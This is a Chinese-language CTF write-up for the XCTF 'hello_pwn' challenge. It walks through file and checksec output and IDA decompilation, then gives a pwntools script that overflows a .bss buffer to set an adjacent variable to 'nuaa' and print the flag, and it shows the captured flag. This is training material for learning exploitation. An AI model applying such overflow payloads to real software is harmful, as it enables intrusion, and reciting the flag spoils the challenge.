XCTF hello_pwn

原创

prettyX 于 2021-06-09 08:04:29 发布 106 收藏
分类专栏： PWN

先使用file查看

```
smile@ubuntu:~/Desktop/hello_pwn$ file 4f2f44c9471d4dc2b59768779e378282
4f2f44c9471d4dc2b59768779e378282: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64
/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=05ef7ecf06e02e7f199b11c4647880e8379e6ce0, stripped
```

checksec

```
smile@ubuntu:~/checksec.sh$ ./checksec --file='/home/smile/Desktop/hello_pwn/4f2f44c9471d4dc2b59768779e378282'
RELRO           STACK CANARY      NX            PIE           RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable
Partial RELRO   No canary found   NX enabled    No PIE        No RPATH   No RUNPATH   No Symbols        No    0               1
```

IDA F5

```
1  __int64 __fastcall main(__int64 a1, char **a2, char **a3)
2  {
3    alarm(0x3Cu);
4    setbuf(stdout, 0LL);
5    puts("~~ welcome to ctf ~~      ");
6    puts("lets get helloworld for bof");
7    read(0, &unk_601068, 0x10uLL);
8    if ( dword_60106C == 'nuaa' )
9      sub_400686();
10   return 0LL;
11 }
```

这里第一行的alarm()函数的作用，请参考该文章，这位博主写的很详细

再来看下read()函数第2个参数 unk_601068

```
.bss:0000000000601068     unk_601068      db    ? ;
.bss:0000000000601069                     db    ? ;
.bss:000000000060106A                     db    ? ;
.bss:000000000060106B                     db    ? ;
.bss:000000000060106C     dword_60106C    dd ?
.bss:000000000060106C     _bss            ends
```

发现和 dword_60106C是相邻的

再来看下if语句里的

```
1  __int64 sub_400686()
2  {
3    system("cat flag.txt");
4    return 0LL;
5  }
```

所以，逻辑出来了，通过read()函数覆盖dword_60106C的值，使其等于 'nuaa'，即可获得flag

注意：这里是小端，要写成'aaun'

Exp

```
from pwn import*

p=remote('111.200.241.244',58893)
#p=process("./4f2f44c9471d4dc2b59768779e378282")
payload='a'*4+'aaun'
p.recvuntil("lets get helloworld for bof\n")
p.sendline(payload)
p.interactive()
```

```
smile@ubuntu:~/Desktop/hello_pwn$ python3 c.py
[+] Opening connection to 111.200.241.244 on port 58893: Done
[*] Switching to interactive mode
cyberpeace{302f4eb046cf46271b6d38895990f9fa}
[*] Got EOF while reading in interactive
```